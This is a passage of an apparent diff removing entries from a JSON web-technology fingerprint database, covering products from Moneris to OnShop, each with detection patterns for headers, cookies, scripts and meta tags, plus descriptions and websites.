- "description": "Moneris (formerly Moneris Solutions) is Canada's largest financial technology company that specialises in payment processing.", - "website": "https://www.moneris.com" - }, - "Moneris Payment Gateway": { - "js": [ - "wc_moneris_hosted_tokenization_params" - ], - "implies": [ - "Moneris", - "WooCommerce" - ], - "description": "Moneris is Canada’s leading processor of Debit and credit card payments. This WooCommerce extension automatically adds moneris payment gateway to your woocommerce website and allows you to keep the customer on your site for the checkout process.", - "website": "https://wordpress.org/plugins/wc-moneris-payment-gateway" - }, - "MongoDB": { - "description": "MongoDB is a document-oriented NoSQL database used for high volume data storage.", - "website": "http://www.mongodb.org" - }, - "Mongrel": { - "headers": { - "server": "mongrel" - }, - "implies": [ - "Ruby" - ], - "website": "http://mongrel2.org" - }, - "Monkey HTTP Server": { - "headers": { - "server": "monkey/?([\\d.]+)?\\;version:\\1" - }, - "website": "http://monkey-project.com" - }, - "Mono": { - "headers": { - "x-powered-by": "mono" - }, - "website": "http://mono-project.com" - }, - "Mono.net": { - "js": [ - "_monotracker" - ], - "implies": [ - "Matomo Analytics" - ], - "website": "https://www.mono.net/en" - }, - "Monsido": { - "js": [ - "_monsido", - "monsido_tracking" - ], - "description": "Monsido provides a website management platform that automates processes, ensures regulatory compliance, improves collaboration in web and marketing teams, and streamlines reporting.", - "website": "https://monsido.com" - }, - "MonsterInsights": { - "js": [ - "monsterinsights_frontend", - "monsterinsights" - ], - "description": "MonsterInsights is the most popular Google Analytics plugin for WordPress.", - "website": "https://www.monsterinsights.com" - }, - "MooTools": { - "js": [ - "mootools", - "mootools.version" - ], - "website": "https://mootools.net" - }, - "Moodle": { - "cookies": { - "moodleid_": "", - "moodlesession": "" - }, - "js": [ - "m.core", - "y.moodle" - ], - "html": [ - "\u003cimg[^\u003e]+moodlelogo" - ], - "meta": { - "keywords": [ - "^moodle" - ] - }, - "implies": [ - "PHP" - ], - "description": "Moodle is a free and open-source Learning Management System (LMS) written in PHP and distributed under the GNU General Public License.", - "website": "http://moodle.org" - }, - "Moon": { - "website": "https://kbrsh.github.io/moon/" - }, - "Moove GDPR Consent": { - "js": [ - "moove_frontend_gdpr_scripts" - ], - "description": "Moove GDPR Consent is a GDPR Cookie Compliance plugin for Wordpress.", - "website": "https://www.mooveagency.com/wordpress/gdpr-cookie-compliance-plugin" - }, - "Mopinion": { - "js": [ - "pastease" - ], - "description": "Mopinion is an all-in-one user feedback platform that helps digital enterprises listen, understand, and act across all digital touchpoints.", - "website": "https://mopinion.com" - }, - "Moshimo": { - "description": "Moshimo is a free affiliate service for individuals.", - "website": "https://af.moshimo.com" - }, - "Motherhost": { - "headers": { - "platform": "^motherhost$" - }, - "description": "Motherhost is a web hosting company based in India that offers a range of hosting services, including shared hosting, VPS hosting, dedicated servers, and cloud hosting.", - "website": "https://www.motherhost.com" - }, - "MotoCMS": { - "html": [ - "\u003clink [^\u003e]*href=\"[^\u003e]*\\/mt-content\\/[^\u003e]*\\.css" - ], - "implies": [ - "PHP", - "AngularJS", - "jQuery" - ], - "website": "http://motocms.com" - }, - "Mouse Flow": { - "js": [ - "_mfq" - ], - "website": "https://mouseflow.com/" - }, - "Movable Ink": { - "js": [ - "movableinktrack" - ], - "description": "Movable Ink is a technology company that allows marketers to change emails after they have been sent out.", - "website": "https://movableink.com" - }, - "Movable Type": { - "meta": { - "generator": [ - "movable type" - ] - }, - "website": "http://movabletype.org" - }, - "Mozard Suite": { - "meta": { - "author": [ - "mozard" - ] - }, - "website": "http://mozard.nl" - }, - "Mulberry": { - "js": [ - "mulberry.cta", - "mulberryshop" - ], - "implies": [ - "Cart Functionality" - ], - "description": "Mulberry is a developer of personalised product protection solutions used to help brands unlock additional revenue.", - "website": "https://www.getmulberry.com" - }, - "Mura CMS": { - "meta": { - "generator": [ - "mura\\scms\\s([\\d\\.]+)\\;version:\\1" - ] - }, - "implies": [ - "Adobe ColdFusion" - ], - "description": "Mura CMS is the cloud-based, API driven, content management platform.", - "website": "http://www.getmura.com" - }, - "Mustache": { - "js": [ - "mustache.version" - ], - "description": "Mustache is a web template system.", - "website": "https://mustache.github.io" - }, - "Muuri": { - "js": [ - "muuri" - ], - "description": "Muuri is a JavaScript layout engine that allows you to build all kinds of layouts and make them responsive, sortable, filterable, draggable and/or animated.", - "website": "https://muuri.dev" - }, - "My Flying Box": { - "description": "My Flying Box is an international parcel shipping company.", - "website": "https://www.myflyingbox.com/" - }, - "My Food Link": { - "js": [ - "myfoodlink", - "myfoodlink" - ], - "description": "My Food Link provides a fully hosted specialist online supermarket ecommerce platform to supermarkets and grocers.", - "website": "https://www.myfoodlink.com.au" - }, - "MyBB": { - "cookies": { - "mybb[lastactive]": "", - "mybb[lastvisit]": "" - }, - "js": [ - "mybb", - "mybbeditor" - ], - "implies": [ - "PHP" - ], - "description": "MyBB is a free and open-source forum software written in PHP.", - "website": "https://mybb.com" - }, - "MyBlogLog": { - "website": "http://www.mybloglog.com" - }, - "MyCashFlow": { - "headers": { - "x-mcf-id": "" - }, - "website": "https://www.mycashflow.fi/" - }, - "MyFonts": { - "headers": { - "content-security-policy": "\\.myfonts\\.net" - }, - "description": "MyFonts is a digital fonts distributor, based in Woburn, Massachusetts.", - "website": "https://www.myfonts.com" - }, - "MyLiveChat": { - "js": [ - "mylivechat.version" - ], - "description": "MyLiveChat is a live chat developed by CuteSoft.", - "website": "https://mylivechat.com" - }, - "MyOnlineStore": { - "meta": { - "generator": [ - "mijnwebwinkel" - ] - }, - "description": "MyOnlineStore is a web shop system in the Netherlands.", - "website": "https://www.myonlinestore.com/ " - }, - "MySQL": { - "description": "MySQL is an open-source relational database management system.", - "website": "http://mysql.com" - }, - "MySiteNow": { - "meta": { - "app-platform": [ - "^mysitenow$" - ] - }, - "description": "MySiteNow provides cloud-based web development services, allowing users to create HTML5 websites and mobile sites.", - "website": "https://mysitenow.gr" - }, - "MyWebsite": { - "js": [ - "systemid" - ], - "meta": { - "generator": [ - "ionos mywebsite\\;version:8" - ] - }, - "description": "MyWebsite is website builder designed for easy editing and fast results.", - "website": "https://www.ionos.com" - }, - "MyWebsite Creator": { - "implies": [ - "Duda" - ], - "description": "MyWebsite Creator is website builder designed for easy editing and fast results.", - "website": "https://www.ionos.com" - }, - "MyWebsite Now": { - "meta": { - "generator": [ - "mywebsite now" - ] - }, - "implies": [ - "React", - "Node.js", - "GraphQL" - ], - "description": "MyWebsite Now is a website builder designed for getting online quickly.", - "website": "https://www.ionos.com" - }, - "Myhkw player": { - "js": [ - "myhk_player_songid", - "myhkplayerlist" - ], - "description": "Myhkw player is a website music player.", - "website": "https://myhkw.cn" - }, - "Mynetcap": { - "meta": { - "generator": [ - "mynetcap" - ] - }, - "website": "http://www.netcap-creation.fr" - }, - "Mysitefy": { - "description": "Mysitefy is a digital platform for B2B enterprises. It provides companies with a closed-loop digital application system from website building to marketing, to customer and order management.", - "website": "https://www.mysitefy.com" - }, - "MysteryThemes News Portal": { - "description": "News Portal is the ultimate magazine WordPress theme by MysteryThemes.", - "website": "https://mysterythemes.com/wp-themes/news-portal" - }, - "MysteryThemes News Portal Lite": { - "description": "News Portal Lite is child theme of News Portal ultimate magazine WordPress theme by MysteryThemes.", - "website": "https://mysterythemes.com/wp-themes/news-portal-lite" - }, - "MysteryThemes News Portal Mag": { - "description": "News Portal Mag is child theme of News Portal ultimate magazine WordPress theme by MysteryThemes.", - "website": "https://mysterythemes.com/wp-themes/news-portal-mag" - }, - "NACEX": { - "description": "NACEX is an express courier company in Spain, Andorra and Portugal.", - "website": "https://www.nacex.es" - }, - "NEO - Omnichannel Commerce Platform": { - "headers": { - "powered": "jet-neo" - }, - "description": "NEO is an ecommerce software that manages multiple online stores.", - "website": "https://www.jetecommerce.com.br" - }, - "NSW Design System": { - "js": [ - "nsw.initsite" - ], - "website": "https://www.digital.nsw.gov.au/digital-design-system" - }, - "NTLM": { - "headers": { - "www-authenticate": "^ntlm" - }, - "description": "NTLM is an authentication method commonly used by Windows servers", - "website": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ntht/" - }, - "NVD3": { - "js": [ - "nv.addgraph", - "nv.version" - ], - "html": [ - "\u003clink[^\u003e]* href=[^\u003e]+nv\\.d3(?:\\.min)?\\.css" - ], - "implies": [ - "D3" - ], - "description": "NVD3 is a JavaScript visualisation library that is a free open-source tool.", - "website": "http://nvd3.org" - }, - "Nacelle": { - "js": [ - "__next_data__.props.pageprops.page.nacelleentryid", - "nacelleeventdata" - ], - "implies": [ - "GraphQL" - ], - "description": "Nacelle is a headless ecommerce platform.", - "website": "https://nacelle.com" - }, - "NagaCommerce": { - "meta": { - "generator": [ - "^nagacommerce$" - ] - }, - "description": "NagaCommerce is an ecommerce platform provided as a service.", - "website": "https://www.nagacommerce.com" - }, - "Nagich": { - "js": [ - "interdeal.version" - ], - "description": "Nagich is a website accessibility overlay provider from Israel.", - "website": "https://www.nagich.co.il" - }, - "NagishLi": { - "js": [ - "$nagishli", - "initnagishli", - "nagishli_commons.version" - ], - "description": "NagishLi is a free accessibility plugin from Localize*, created to provide an equal oppurtunity for webmasters to make their website accessible and make the internet more accessible for people with disability.", - "website": "https://www.nagish.li" - }, - "Naive UI": { - "implies": [ - "Vue.js", - "TypeScript" - ], - "description": "Naive UI is a Vue.js UI library written in TypeScript, offering more than 80 treeshakable components.", - "website": "https://www.naiveui.com" - }, - "Najva": { - "js": [ - "najva.identifyemailsubscriber" - ], - "description": "Najva is a retention marketing solution that offers push notification and email marketing.", - "website": "https://www.najva.com" - }, - "Narrativ": { - "description": "Narrativ is a subscription technology platform for brands to acquire new customers through trusted creators.", - "website": "https://narrativ.com/" - }, - "Narvar": { - "js": [ - "narvarjs_url", - "narvar" - ], - "headers": { - "content-security-policy": "\\.narvar\\.com" - }, - "description": "Narvar is a customer experience platform that helps retailers inspire long-term customer loyalty, at all steps of the post-purchase journey.", - "website": "https://corp.narvar.com" - }, - "NationBuilder": { - "js": [ - "nb.fbappid", - "nb.liquid" - ], - "description": "NationBuilder is a Los Angeles based technology start-up that develops content management and customer relationship management (CRM) software.", - "website": "https://nationbuilder.com" - }, - "Nativo": { - "js": [ - "ntvconfig" - ], - "description": "Nativo is an advertising technology provider.", - "website": "https://www.nativo.com" - }, - "Navegg": { - "website": "https://www.navegg.com/" - }, - "Naver Analytics": { - "meta": { - "naver-site-verification": [] - }, - "description": "Naver Analytics is a Korean based analytics service.", - "website": "https://analytics.naver.com" - }, - "Naver Maps": { - "js": [ - "naver.maps" - ], - "description": "Naver Maps help develop location-based services which provided by Naver.", - "website": "https://www.ncloud.com/product/applicationService/maps" - }, - "Naver RUA": { - "description": "Naver RUA (Real User Analytics) collects performance data from real users to analyze the speed of your website by country, operating system, and browser.", - "website": "https://analytics.naver.com" - }, - "Neat A/B testing": { - "implies": [ - "Shopify" - ], - "description": "Neat A/B Testing is a Shopify app built by NeatShift.", - "website": "https://neatab.com" - }, - "Neon CRM": { - "js": [ - "_neoncrm_ga", - "neonpaycard", - "neoncrm_email_ajax_object" - ], - "description": "Neon CRM, a Neon One company, is a cloud-based customer relationship management (CRM) software suite for nonprofits of all sizes. Applications include fundraising management, donor management, membership management, event registration and management, customised reporting, and more.", - "website": "https://neonone.com" - }, - "Neos CMS": { - "headers": { - "x-flow-powered": "neos/?(.+)?$\\;version:\\1" - }, - "implies": [ - "Neos Flow" - ], - "website": "https://neos.io" - }, - "Neos Flow": { - "headers": { - "x-flow-powered": "flow/?(.+)?$\\;version:\\1" - }, - "implies": [ - "PHP" - ], - "website": "https://flow.neos.io" - }, - "Nepso": { - "headers": { - "x-powered-cms": "nepso" - }, - "website": "https://www.nepso.com" - }, - "Nestify": { - "headers": { - "x-nestify-cache": "" - }, - "description": "Nestify is a fully managed WordPress hosting platform that runs on AWS graviton processors.", - "website": "https://nestify.io" - }, - "NetSuite": { - "cookies": { - "ns_ver": "" - }, - "website": "http://netsuite.com" - }, - "Netcore Cloud": { - "description": "Netcore Cloud is a globally recognised marketing technology SaaS company.", - "website": "https://netcorecloud.com" - }, - "Netdeal": { - "js": [ - "netdealjs.paywall", - "netdealstartsession", - "netdealbuildnumber" - ], - "description": "Netdeal is a marketing automation platform.", - "website": "https://www.netdeal.com.br" - }, - "Netlify": { - "headers": { - "server": "^netlify", - "x-nf-request-id": "" - }, - "description": "Netlify providers hosting and server-less backend services for web applications and static websites.", - "website": "https://www.netlify.com/" - }, - "Netlify Forms": { - "implies": [ - "Netlify" - ], - "description": "Netlify Forms is a serverless form handling solution for static websites.", - "website": "https://www.netlify.com/products/forms" - }, - "Neto": { - "js": [ - "neto" - ], - "description": "Neto is the only Australian B2B and multi-channel ecommerce platform that provides an all-in-one solution for ecommerce, POS, inventory management, order management, and shipping labelling.", - "website": "https://www.neto.com.au" - }, - "Nette Framework": { - "cookies": { - "nette-browser": "" - }, - "js": [ - "nette", - "nette.version" - ], - "headers": { - "x-powered-by": "^nette framework" - }, - "html": [ - "\u003cinput[^\u003e]+data-nette-rules", - "\u003cdiv[^\u003e]+id=\"snippet-", - "\u003cinput[^\u003e]+id=\"frm-" - ], - "implies": [ - "PHP" - ], - "website": "https://nette.org" - }, - "Network for Good": { - "description": "Network for Good is an American certified B Corporation software company that offers fundraising software and coaching for charities and non-profit organisations.", - "website": "https://www.networkforgood.com" - }, - "Neve": { - "description": "Neve is a super-fast, easily customizable, multi-purpose theme that works perfectly with Gutenberg and the most popular page builders as well as WooCommerce", - "website": "https://themeisle.com/themes/neve/" - }, - "New Relic": { - "js": [ - "nreum", - "newrelic" - ], - "description": "New Relic is a SaaS offering that focuses on performance and availability monitoring.", - "website": "https://newrelic.com" - }, - "NewStore": { - "js": [ - "highstreetbanner.config" - ], - "description": "NewStore is the only integrated platform offering omnichannel solutions for stores and consumers.", - "website": "https://www.newstore.com" - }, - "Newspack": { - "description": "Newspack is an open-source publishing platform built on WordPress for small to medium sized news organizations. It is an “opinionated” platform that stakes out clear, best-practice positions on technology, design, and business practice for news publishers.", - "website": "https://github.com/Automattic/newspack-plugin" - }, - "Newspack by Automattic": { - "headers": { - "host-header": "newspack" - }, - "implies": [ - "Newspack" - ], - "description": "Automattic's Newspack service is an all-in-one platform designed for small and medium-sized news organizations that simplifies publishing and drives audience and revenue right out of the box.", - "website": "https://newspack.pub/" - }, - "Nexcess": { - "headers": { - "x-hostname": "nxcli\\.net$" - }, - "description": "Nexcess is a web hosting service.", - "website": "https://www.nexcess.net" - }, - "Nexive": { - "description": "Nexive is a postal operator in Italy.", - "website": "https://www.nexive.it" - }, - "Next Total": { - "js": [ - "nextbasket.nextunlimited", - "nextfavourites.busy", - "nextfavourites.data.shoppinglists" - ], - "description": "Next is leveraging the expertise, infrastructure and software it has developed for its own online business to provide a third-party ecommerce outsourcing service named Total Platform.", - "website": "https://www.next.co.uk" - }, - "Next.js": { - "js": [ - "__next_data__", - "next.version" - ], - "headers": { - "x-powered-by": "^next\\.js ?([0-9.]+)?\\;version:\\1" - }, - "implies": [ - "React", - "Webpack", - "Node.js" - ], - "description": "Next.js is a React framework for developing single page Javascript applications.", - "website": "https://nextjs.org" - }, - "NextAuth.js": { - "cookies": { - "__host-next-auth.csrf-token": "", - "__secure-next-auth.callback-url": "" - }, - "description": "NextAuth.js is a complete open-source authentication solution for Next.js applications.", - "website": "https://next-auth.js.org" - }, - "NextGEN Gallery": { - "js": [ - "nextgen_lightbox_settings.static_path" - ], - "html": [ - "\u003c!-- \u003cmeta name=\"nextgen\" version=\"([\\d.]+)\" /\u003e --\u003e\\;version:\\1" - ], - "description": "NextGEN Gallery is a free open-source image management plugin for the WordPress content management system.", - "website": "https://www.imagely.com/wordpress-gallery-plugin" - }, - "NextUI": { - "css": [ - "--nextui-(?:colors-accents1|colors-text|space-0|fonts-sans|fonts-mono)" - ], - "implies": [ - "React", - "Stitches" - ], - "description": "NextUI allows you to make beautiful, modern, and fast websites/applications regardless of your design experience, created with React.js and Stitches, based on React Aria and inspired by Vuesax.", - "website": "https://nextui.org/" - }, - "Nextcloud": { - "cookies": { - " __host-nc_samesitecookielax": "", - "__host-nc_samesitecookiestrict": "" - }, - "js": [ - "oc_config.version" - ], - "implies": [ - "PHP" - ], - "description": "Nextcloud is a suite of client-server software for creating and using file hosting services.", - "website": "https://nextcloud.com" - }, - "Nextdoor Ads": { - "description": "Nextdoor Ads is an easy-to-use expansion of Nextdoor’s proprietary self-serve campaign management platform, designed to help small and medium-sized businesses (SMBs) advertise on Nextdoor.", - "website": "https://help.nextdoor.com/s/article/About-Neighborhood-Ad-Center-NAC-Conversion-Pixel" - }, - "Nextra": { - "js": [ - "__nextra_internal__", - "__nextra_pagecontext__" - ], - "description": "Nextra is Next.js based static site generator.", - "website": "https://nextra.site/" - }, - "Nextsale": { - "js": [ - "nextsaleobject" - ], - "description": "Nextsale is a conversion optimisation platform that provides social proof and urgency tools for ecommerce websites.", - "website": "https://nextsale.io" - }, - "NexusPHP": { - "meta": { - "generator": [ - "^nexusphp$" - ] - }, - "implies": [ - "PHP", - "MySQL", - "Redis" - ], - "description": "NexusPHP is an open-sourced private tracker script written in PHP.", - "website": "https://nexusphp.org" - }, - "NexusPIPE": { - "headers": { - "server": "^nexuspipe.com" - }, - "description": "NexusPIPE is a ADC and DDoS mitigation Company.", - "website": "https://nexuspipe.com" - }, - "Nginx": { - "headers": { - "server": "nginx(?:/([\\d.]+))?\\;version:\\1", - "x-fastcgi-cache": "" - }, - "description": "Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.", - "website": "http://nginx.org/en" - }, - "Niagahoster": { - "headers": { - "x-powered-by": "niagahoster" - }, - "implies": [ - "Niagahoster" - ], - "description": "Niagahoster is a web hosting service for small and medium enterprises. It provides shared hosting, WordPress hosting, Virtual Private Server (VPS), and more.", - "website": "https://niagahoster.co.id" - }, - "Nicepage": { - "js": [ - "_npaccordioninit", - "_npdialogsinit" - ], - "meta": { - "generator": [ - "nicepage\\s([\\d\\.]+)\\;version:\\1" - ] - }, - "description": "Nicepage is a free website building tool that requires no coding skills and integrates seamlessly with all leading CMS systems.", - "website": "https://nicepage.com" - }, - "Nift": { - "js": [ - "niftanalytics", - "niftjs" - ], - "description": "Nift is a marketing program for pools of local businesses. Businesses give Nift gift cards to thank and reward their customers for taking actions, like signing up for a newsletter, referring a friend, or making a purchase.", - "website": "https://www.gonift.com" - }, - "Ninja Forms": { - "js": [ - "nfforms" - ], - "description": "Ninja Forms is the WordPress form builder.", - "website": "https://ninjaforms.com" - }, - "NitroPack": { - "meta": { - "generator": [ - "nitropack" - ] - }, - "description": "NitroPack creates optimised HTML cache for fast page loading experience.", - "website": "https://nitropack.io/" - }, - "NoFraud": { - "description": "NoFraud is a fraud prevention solution for ecommerce businesses.", - "website": "https://www.nofraud.com" - }, - "Noddus": { - "description": "Noddus offers brands and agencies access to an advanced proprietary content marketing platform automating content production, distribution and analytics.", - "website": "https://www.enterprise.noddus.com" - }, - "Node.js": { - "description": "Node.js is an open-source, cross-platform, JavaScript runtime environment that executes JavaScript code outside a web browser.", - "website": "http://nodejs.org" - }, - "NodeBB": { - "headers": { - "x-powered-by": "^nodebb$" - }, - "implies": [ - "Node.js" - ], - "description": "NodeBB forum software is powered by Node.js and built on either a Redis or MongoDB database.", - "website": "https://nodebb.org" - }, - "NodePing": { - "description": "NodePing is a tool in the Website Monitoring category of a tech stack. NodePing is an open source tool with GitHub stars and GitHub forks.", - "website": "https://nodeping.com" - }, - "Noibu": { - "js": [ - "noibujs_config" - ], - "description": "Noibu helps ecommerce websites detect revenue-impacting errors on their websites and provides them with the information needed to resolve them.", - "website": "https://noibu.com" - }, - "Norton Shopping Guarantee": { - "js": [ - "do_norton_shopping" - ], - "implies": [ - "Cart Functionality" - ], - "description": "Norton Shopping Guarantee offering a third-party shopping guarantee to customers provides added protection and validation that you are safe to buy from.", - "website": "https://norton.buysafe.com" - }, - "Nosto": { - "js": [ - "nosto", - "nostojs" - ], - "meta": { - "nosto-version": [ - "([\\d.]+)\\;version:\\1" - ] - }, - "description": "Nosto is an ecommerce platform providing product recommendations based on individual behavioral data.", - "website": "https://www.nosto.com" - }, - "Nosto Visual UGC": { - "js": [ - "stackla", - "stacklawidgetjsonp" - ], - "description": "Nosto Visual UGC (Earlier known as Stackla) is a cloud-based content marketing platform that helps discover, curate, display and engage with user-generated content across all digital marketing platforms.", - "website": "https://www.nosto.com/products/visual-ugc/" - }, - "Notion": { - "description": "Notion is a collaboration platform with modified Markdown support that integrates kanban boards, tasks, wikis, and database.", - "website": "https://notion.so" - }, - "Nudgify": { - "js": [ - "nudgify.cart" - ], - "description": "Nudgify is a Social Proof \u0026 Fomo App tool that integrates seamlessly with ecommerce platform such as Shopify, WooCommerce and Magento.", - "website": "https://www.nudgify.com" - }, - "Nukeviet CMS": { - "js": [ - "nv_digitalclock", - "nv_is_change_act_confirm" - ], - "meta": { - "generator": [ - "nukeviet v([\\d.]+)\\;version:\\1" - ] - }, - "description": "NukeViet CMS is a Vietnamese content management system.", - "website": "https://nukeviet.vn/en/" - }, - "Nuqlium": { - "js": [ - "nuqliumobject" - ], - "description": "Nuqlium is an integrated cloud-based online merchandising platform.", - "website": "https://www.nuqlium.com" - }, - "Nuvemshop": { - "js": [ - "ls.store.url", - "nuvemshopidproduct" - ], - "description": "Nuvemshop is a website builder with customizable layouts, product, shipping and payment management, marketing tools and a mobile app.", - "website": "https://www.nuvemshop.com.br" - }, - "Nuxt.js": { - "js": [ - "$nuxt" - ], - "html": [ - "\u003cdiv [^\u003e]*id=\"__nuxt\"", - "\u003cscript [^\u003e]*\u003ewindow\\.__nuxt__" - ], - "implies": [ - "Vue.js", - "Node.js" - ], - "description": "Nuxt is a Vue framework for developing modern web applications.", - "website": "https://nuxtjs.org" - }, - "OTYS": { - "js": [ - "otys.siteid", - "otysselect" - ], - "description": "OTYS is a Dutch company that specialises in providing recruitment and staffing agencies with software solutions to manage their workflows, including applicant tracking systems, job board integrations, and candidate sourcing tools.", - "website": "https://www.otys.nl" - }, - "OVHcloud": { - "description": "OVHcloud is a global, cloud provider delivering hosted private cloud, public cloud, and dedicated server solutions.", - "website": "https://www.ovhcloud.com" - }, - "OWL Carousel": { - "html": [ - "\u003clink [^\u003e]*href=\"[^\"]+owl\\.carousel(?:\\.min)?\\.css" - ], - "implies": [ - "jQuery" - ], - "description": "OWL Carousel is an enabled jQuery plugin that lets you create responsive carousel sliders.", - "website": "https://owlcarousel2.github.io/OwlCarousel2/" - }, - "OXID eShop": { - "cookies": { - "sid_key": "oxid" - }, - "js": [ - "oxminibasket", - "oxmodalpopup", - "oxtopmenu", - "oxcookienote", - "oxinputvalidator", - "oxloginbox" - ], - "implies": [ - "PHP" - ], - "description": "OXID eShop is a free, open source ecommerce solution built using object oriented programming and PHP.", - "website": "https://www.oxid-esales.com" - }, - "OXID eShop Community Edition": { - "html": [ - "\u003c!--[^-]*oxid eshop community edition, version (\\d+)\\;version:\\1" - ], - "implies": [ - "PHP" - ], - "description": "OXID eShop Community Edition is a free, open source ecommerce solution built using object oriented programming and PHP.", - "website": "https://www.oxid-esales.com" - }, - "OXID eShop Enterprise Edition": { - "html": [ - "\u003c!--[^-]*oxid eshop enterprise edition, version (\\d+)\\;version:\\1" - ], - "implies": [ - "PHP" - ], - "description": "OXID eShop Enterprise Edition is a B2B or B2C ecommerce solution built using object oriented programming and PHP.", - "website": "https://www.oxid-esales.com" - }, - "OXID eShop Professional Edition": { - "html": [ - "\u003c!--[^-]*oxid eshop professional edition, version (\\d+)\\;version:\\1" - ], - "implies": [ - "PHP" - ], - "description": "OXID eShop Professional Edition is an e-ommerce platform for both small start-up companies and experience online retailers with a wide range of functions, software maintenance and support.", - "website": "https://exchange.oxid-esales.com/OXID-Products/OXID-eShop/OXID-eShop-Professional-Edition-6-Professional-Edition-6-Stable-PE-6-0-x.html" - }, - "Obsidian Incentivize": { - "js": [ - "obsidian.incentiveapi" - ], - "description": "Obsidian Incentivize is designed to increase your average order size through in-cart upsells, cross sells and personalised product recommendations.", - "website": "https://obsidianapps.co" - }, - "Obsidian Publish": { - "js": [ - "siteinfo.host" - ], - "implies": [ - "Prism", - "PIXIjs" - ], - "description": "Obsidian Publish is an official, paid plugin for Obsidian that allows users to post selected notes to a directory on the publish.obsidian.md domain.", - "website": "https://obsidian.md/publish" - }, - "Obviyo": { - "js": [ - "__hic.version" - ], - "description": "Obviyo is an ecommerce intelligence platform helping merchants personalise and optimise shopping experience.", - "website": "https://www.obviyo.com" - }, - "Occasion": { - "js": [ - "occsn.stack", - "occsnmerchanttoken" - ], - "description": "Occasion is an online booking system.", - "website": "https://www.getoccasion.com" - }, - "OceanWP": { - "description": "OceanWP is a fast-loading WordPress theme that has great support for third-party plugins and drag-and-drop page builders.", - "website": "https://oceanwp.org" - }, - "Ochanoko": { - "js": [ - "ocnkproducts" - ], - "description": "Ochanoko is a ecommerce online shopping cart solutions, ecommerce web site hosting.", - "website": "https://www.ocnk.com" - }, - "Oct8ne": { - "js": [ - "oct8ne.agentsavailable", - "oct8neapi", - "oct8nevars.pluginversion" - ], - "description": "Oct8ne is a visual customer service software.", - "website": "https://oct8ne.com" - }, - "Octane AI": { - "js": [ - "octaneconfig" - ], - "description": "Octane AI provides an all-in-one platform for engaging quizzes, data collection, and personalised Facebook Messenger and SMS automation.", - "website": "https://www.octaneai.com" - }, - "October CMS": { - "cookies": { - "october_session": "" - }, - "js": [ - "ocjson" - ], - "meta": { - "generator": [ - "octobercms" - ] - }, - "implies": [ - "Laravel" - ], - "description": "October is a free, open-source, self-hosted CMS platform based on the Laravel PHP Framework.", - "website": "http://octobercms.com" - }, - "Octopress": { - "html": [ - "powered by \u003ca href=\"http://octopress\\.org\"\u003e" - ], - "meta": { - "generator": [ - "octopress" - ] - }, - "implies": [ - "Jekyll" - ], - "description": "Octopress is a static blogging framework.", - "website": "http://octopress.org" - }, - "Ocuco FitMix": { - "js": [ - "fitmix.widget_base_url" - ], - "description": "Ocuco is now offering its customers FittingBox's FitMix, a virtual frame try-on tool.", - "website": "https://www.ocuco.com/fitmix" - }, - "Odoo": { - "js": [ - "odoo.session_info" - ], - "html": [ - "\u003clink[^\u003e]* href=[^\u003e]+/web/css/(?:web\\.assets_common/|website\\.assets_frontend/)\\;confidence:25" - ], - "meta": { - "generator": [ - "odoo" - ] - }, - "implies": [ - "Python", - "PostgreSQL", - "Less" - ], - "description": "Odoo is business management software which includes CRM, ecommerce, billing, accounting, manufacturing, warehouse, project management, and inventory management.", - "website": "http://odoo.com" - }, - "Oh Dear": { - "js": [ - "__next_data__.props.pageprops.config.useragent" - ], - "description": "The all-in-one monitoring tool for your entire website. Oh Dear monitors uptime, SSL certificates, broken links, scheduled tasks, application health, DNS, domain expiry and more.", - "website": "https://ohdear.app" - }, - "Okendo": { - "js": [ - "okereviewswidgetoninit", - "okewidgetcontrolinit", - "okendoreviews" - ], - "implies": [ - "Shopify" - ], - "description": "Okendo is a customer marketing platform with product ratings and reviews, customer photos and videos to help personalise experiences.", - "website": "https://www.okendo.io" - }, - "Okta": { - "js": [ - "oktaauth", - "isoktaenabled", - "okta.cdnurlhostname", - "okta.locale", - "oktacurrentsessionurl" - ], - "description": "Okta is a platform in the Identity-as-a-Service (IDaaS) category. Okta features include Provisioning, Single Sign-On (SSO), Active Directory (AD) and LDAP integration, the centralized de-provisioning of users, multi-factor authentication (MFA), mobile identity management.", - "website": "https://developer.okta.com" - }, - "Olapic": { - "js": [ - "olapic", - "olapic.version" - ], - "description": "Olapic is a content marketing tool specifically focused on visual marketing content.", - "website": "https://www.olapic.com" - }, - "Olark": { - "js": [ - "olark", - "olarkuserdata" - ], - "description": "Olark is a cloud-based live chat solution.", - "website": "https://www.olark.com/" - }, - "Omeka": { - "js": [ - "omeka" - ], - "description": "Omeka is a free Content Management System (CMS) used by archives, historical societies, libraries, museums, and individual researchers for publishing digital collections.", - "website": "https://omeka.org" - }, - "Ometria": { - "cookies": { - "ometria": "" - }, - "js": [ - "addometriabasket", - "addometriaidentify", - "ometria" - ], - "description": "Ometria is a customer insight and marketing automation platform.", - "website": "https://ometria.com" - }, - "Omise": { - "js": [ - "omise", - "omisecard" - ], - "description": "Omise is a payment gateway for Thailand, Japan and Singapore. Providing both online and offline payment solutions to merchants.", - "website": "https://www.omise.co" - }, - "Omni CMS": { - "description": "Omni CMS (formerly OU Campus) is a web content management system developed by Modern Campus. Modern Campus is a SaaS-based student lifecycle management software designed to manage continuing education and non-degree programs.", - "website": "https://moderncampus.com/products/web-content-management.html" - }, - "Omniconvert": { - "js": [ - "_omni" - ], - "description": "Omniconvert is an award-winning conversion rate optimisation (CRO) software that can be used for A/B testing, online surveys, traffic segmentation.", - "website": "https://www.omniconvert.com" - }, - "Omnisend": { - "cookies": { - "omnisendsessionid": "" - }, - "js": [ - "_omnisend" - ], - "meta": { - "omnisend-site-verification": [] - }, - "description": "Omnisend is an ecommerce marketing automation platform that provides an omnichannel marketing strategy for businesses.", - "website": "https://www.omnisend.com" - }, - "Omnisend Email Marketing \u0026 SMS": { - "implies": [ - "Omnisend" - ], - "description": "Omnisend Email Marketing \u0026 SMS is an omnichannel marketing automation channel that allows Shopify store owners to manage their SMS, web push notifications, WhatsApp, Facebook messenger, pop-ups, segmentation, and dynamic Facebook and Google ad integrations.", - "website": "https://apps.shopify.com/omnisend" - }, - "Omny Studio": { - "description": "Omny Studio is a podcast hosting solution, which enables radio stations and enterprises to manage, monetize, publish, share, edit and analyze audio episodes.", - "website": "https://omnystudio.com" - }, - "Omurga Sistemi": { - "meta": { - "generator": [ - "^os-omurga sistemi" - ] - }, - "implies": [ - "MySQL", - "PHP" - ], - "website": "https://www.os.com.tr" - }, - "OnShop": { - "meta": { - "generator": [ - 